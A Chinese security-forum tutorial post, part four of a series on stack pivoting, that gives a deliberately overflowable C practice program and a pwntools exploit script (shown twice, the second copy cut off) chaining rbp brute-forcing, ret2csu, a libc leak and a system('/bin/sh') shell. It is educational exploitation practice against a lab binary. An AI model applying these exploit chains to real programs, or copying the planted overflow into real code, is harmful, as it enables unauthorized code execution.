-
-
[原创]钉子户的迁徙之路(四)
-
发表于: 2024-5-14 08:43 9875
-
说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm
钉子户的迁徙之路(三):https://bbs.kanxue.com/thread-281688.htm
前面只有涉及到栈的题目中,我们的漏洞都是能覆盖到返回地址,那么如果我们无法覆盖返回地址,只能覆盖 bp 该如何呢?
此时,我们通过爆破rbp
的最后一个字节,利用在栈上布置的栈帧来实现ROP
此时只覆盖rbp
,并且没有泄露程序,只是简单利用爆栈是无法攻击的,需要利用某些方式让程序重新启动。
上面可以看出,栈迁移作用还是非常大的,但是,它对的前提是非常苛刻的:有确定的迁移地址,一般来说满足情况有以下几种。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
b[0x80] ;
puts
(
"input:"
);
read(0,b,0x88);
//puts("byebye!");
return
0;
}
int
main(){
int
x;
init_func();
dofunc();
x=200;
return
0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
b[0x80] ;
puts
(
"input:"
);
read(0,b,0x88);
//puts("byebye!");
return
0;
}
int
main(){
int
x;
init_func();
dofunc();
x=200;
return
0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64
from
pwn
import
*
import
duchao_pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_15_x64'
# io = process(pwnfile)
# io = remote('', )
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
libcfile
=
'/lib/x86_64-linux-gnu/libc.so.6'
libc
=
ELF(libcfile)
context.binary
=
pwnfile
deadbeef
=
0xdeadbeef
read_got
=
elf.got[
"read"
]
read_sym
=
elf.symbols[
"read"
]
puts_sym
=
elf.symbols[
'puts'
]
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
rep_func
=
elf.symbols[
'dofunc'
]
csu_front_addr
=
0x401248
mov_r13_rsi
=
0x401220
xor_rbx
=
0x401243
pop_rbx
=
0x0401262
pop_rbp
=
pop_rbx
+
1
pop_r12
=
pop_rbp
+
1
pop_r13
=
pop_r12
+
2
pop_r14
=
pop_r13
+
2
pop_rsi_r15_ret
=
pop_r14
+
1
pop_r15
=
pop_r14
+
2
pop_rdi_ret
=
pop_r15
+
1
ret
=
pop_r15
+
2
leave_ret
=
0x4011D6
call_read_addr_0
=
0x4011BB
# lea rax, [rbp+buf]
call_read_addr_1
=
call_read_addr_0
+
4
# set rdx
call_read_addr_2
=
call_read_addr_1
+
5
# set rsi = rax
call_read_addr_3
=
call_read_addr_2
+
3
# set rdi = 0
call_read_addr_4
=
call_read_addr_3
+
5
# call read
call_read_addr
=
call_read_addr_0
target1_rbp
=
elf.bss()
+
0x500
addr_tmp
=
target1_rbp
+
0x100
next_rbp_addr
=
target1_rbp
+
0x300
bin_sh_addr
=
next_rbp_addr
+
0x200
padding2rbp
=
0x80
nead_padding2rbp
=
0x10
call_read_len
=
0x20
stack_over_flow
=
call_read_len
-
padding2rbp
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
# 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术,
# 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术
# 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术
# ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用
# 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)
# 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88
# 这种方法最重要的是第一步、第二步,
# 使用 0x20 还是 0x30 取决于第一步
# 第二步主要是根据选择更改 payload
# 之后的攻击就是常规步骤,本题中选在现迁移再攻击
# 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可
for
i
in
range
(
10
):
try
:
io
=
process(pwnfile)
rbp_1
=
target1_rbp
# 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术
payload
=
p64(call_read_addr_4)
+
p64(ret)
*
2
payload
=
p64(ret)
*
((padding2rbp
-
len
(payload))
/
/
8
)
+
payload
+
b
"\x00"
#pause()
sleep(
0.5
)
delimiter
=
'input:\n'
# duchao_pwn_script.dbg(io)
ru(delimiter)
s(payload)
# 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改
sleep(
0.5
)
# pause()
payload_ret2csu_0x20
=
p64(pop_r14)
+
p64(
0x600
)
+
p64(read_got)
+
p64(mov_r13_rsi)
# payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)
payload
=
p64(ret)
*
((padding2rbp
-
len
(payload_ret2csu_0x20))
/
/
8
+
1
)
+
payload_ret2csu_0x20
s(payload)
# 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻
# pause()
# duchao_pwn_script.dbg(io)
sleep(
0.5
)
payload
=
p64(ret)
*
0x40
call_func
=
{
'func_addr'
:read_got ,
'arg1'
:
0
,
'arg2'
: rbp_1,
'arg3'
:
0x100
}
payload
=
payload
+
duchao_pwn_script.ret2csu_payload(call_func ,
0
, csu_front_addr ,rbp
=
rbp_1 ,gcc_ver
=
'new'
)
+
p64(leave_ret)
s(payload)
# duchao_pwn_script.dbg(io)
# pause()
sleep(
0.5
)
call_func
=
{
'func_addr'
:read_got ,
'arg1'
:
0
,
'arg2'
: next_rbp_addr,
'arg3'
:
0x100
}
p1
=
duchao_pwn_script.ret2csu_payload(call_func ,
0
, csu_front_addr ,rbp
=
next_rbp_addr ,gcc_ver
=
'new'
)
payload_final
=
flat([ret , pop_rdi_ret , leak_func_got , puts_sym ])
+
p1
+
p64(leave_ret)
s(payload_final)
leak_func_addr
=
u64(r(
6
).ljust(
8
, b
'\x00'
))
# 不同接受代码接受数量不同
print
(
hex
(leak_func_addr))
# 以下代码为查找system及/bin/sh的地址
system_addr, binsh_addr
=
duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path
=
libcfile)
print
(
"system addr is:"
,
hex
(system_addr))
print
(
"bin addr is :"
,
hex
(binsh_addr))
libc_base_addr
=
system_addr
-
libc.symbols[
"system"
]
open_addr
=
libc_base_addr
+
libc.symbols[
"open"
]
write_addr
=
libc_base_addr
+
libc.symbols[
"write"
]
print
(
"libc_base_addr is :"
,
hex
(libc_base_addr))
print
(
"open addr is :"
,
hex
(open_addr))
# pause()
sleep(
0.5
)
# duchao_pwn_script.dbg(io)
payload
=
flat([ret , ret , pop_rdi_ret , binsh_addr , system_addr ])
s(payload)
itr()
except
:
pass
from
pwn
import
*
import
duchao_pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_15_x64'
# io = process(pwnfile)
# io = remote('', )
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
libcfile
=
'/lib/x86_64-linux-gnu/libc.so.6'
libc
=
ELF(libcfile)
context.binary
=
pwnfile
deadbeef
=
0xdeadbeef
read_got
=
elf.got[
"read"
]
read_sym
=
elf.symbols[
"read"
]
puts_sym
=
elf.symbols[
'puts'
]
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
rep_func
=
elf.symbols[
'dofunc'
]
csu_front_addr
=
0x401248
mov_r13_rsi
=
0x401220
xor_rbx
=
0x401243
pop_rbx
=
0x0401262
pop_rbp
=
pop_rbx
+
1
pop_r12
=
pop_rbp
+
1
pop_r13
=
pop_r12
+
2
pop_r14
=
pop_r13
+
2
pop_rsi_r15_ret
=
pop_r14
+
1
pop_r15
=
pop_r14
+
2
pop_rdi_ret
=
pop_r15
+
1
ret
=
pop_r15
+
2
leave_ret
=
0x4011D6
call_read_addr_0
=
0x4011BB
# lea rax, [rbp+buf]
call_read_addr_1
=
call_read_addr_0
+
4
# set rdx
call_read_addr_2
=
call_read_addr_1
+
5
# set rsi = rax
call_read_addr_3
=
call_read_addr_2
+
3
# set rdi = 0
call_read_addr_4
=
call_read_addr_3
+
5
# call read
call_read_addr
=
call_read_addr_0
target1_rbp
=
elf.bss()
+
0x500
addr_tmp
=
target1_rbp
+
0x100
next_rbp_addr
=
target1_rbp
+
0x300
bin_sh_addr
=
next_rbp_addr
+
0x200
padding2rbp
=
0x80
nead_padding2rbp
=
0x10
call_read_len
=
0x20
stack_over_flow
=
call_read_len
-
padding2rbp
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
# 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术,
# 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术
# 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术
# ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用
# 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)
# 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88
# 这种方法最重要的是第一步、第二步,
# 使用 0x20 还是 0x30 取决于第一步
# 第二步主要是根据选择更改 payload
# 之后的攻击就是常规步骤,本题中选在现迁移再攻击
# 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可
for
i
in
range
(
10
):
try
:
io
=
process(pwnfile)
rbp_1
=
target1_rbp
# 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术
payload
=
p64(call_read_addr_4)
+
p64(ret)
*
2
payload
=
p64(ret)
*
((padding2rbp
-
len
(payload))
/
/
8
)
+
payload
+
b
"\x00"
#pause()
sleep(
0.5
)
delimiter
=
'input:\n'
# duchao_pwn_script.dbg(io)
ru(delimiter)
s(payload)
# 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改
sleep(
0.5
)
# pause()
payload_ret2csu_0x20
=
p64(pop_r14)
+
p64(
0x600
)
+
p64(read_got)
+
p64(mov_r13_rsi)
# payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)
payload
=
p64(ret)
*
((padding2rbp
-
len
(payload_ret2csu_0x20))
/
/
8
+
1
)
+
payload_ret2csu_0x20
s(payload)
# 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻
# pause()
# duchao_pwn_script.dbg(io)
sleep(
0.5
)
payload
=
p64(ret)
*
0x40
call_func
=
{
'func_addr'
:read_got ,
'arg1'
:
0
,
'arg2'
: rbp_1,
'arg3'
:
0x100
}
payload
=
payload
+
duchao_pwn_script.ret2csu_payload(call_func ,
0
, csu_front_addr ,rbp
=
rbp_1 ,gcc_ver
=
'new'
)
+
p64(leave_ret)
s(payload)
# duchao_pwn_script.dbg(io)
# pause()
sleep(
0.5
)
call_func
=
{
'func_addr'
:read_got ,
'arg1'
:
0
,
'arg2'
: next_rbp_addr,
'arg3'
:
0x100
}
p1
=
duchao_pwn_script.ret2csu_payload(call_func ,
0
, csu_front_addr ,rbp
=
next_rbp_addr ,gcc_ver
=
'new'
)
payload_final
=
flat([ret , pop_rdi_ret , leak_func_got , puts_sym ])
+
p1
+
p64(leave_ret)
s(payload_final)
leak_func_addr
=
u64(r(
6
).ljust(
8
, b
'\x00'
))
# 不同接受代码接受数量不同
print
(
hex
(leak_func_addr))
# 以下代码为查找system及/bin/sh的地址
system_addr, binsh_addr
=
duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path
=
libcfile)
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏记录
参与人
雪币
留言
时间
DawN15
非常支持你的观点!
2024-11-25 11:17
YiGod
感谢你的积极参与,期待更多精彩内容!
2024-11-11 20:21
apwnaroot
为你点赞~
2024-9-10 02:08
一笑人间万事
为你点赞~
2024-5-31 01:45
mb_wpitiize
为你点赞~
2024-5-14 10:02
我超啊
为你点赞~
2024-5-14 08:43
赞赏
他的文章
- [原创]反序列化的前生今世 9652
- [原创]gdb在逆向爆破中的应用 3266
- [原创]EOP编程 10221
- [原创]格式化字符串打出没有回头路(下)——回头望月 48910
- [原创]格式化字符串打出没有回头路(上) 20369
看原图
赞赏
雪币:
留言: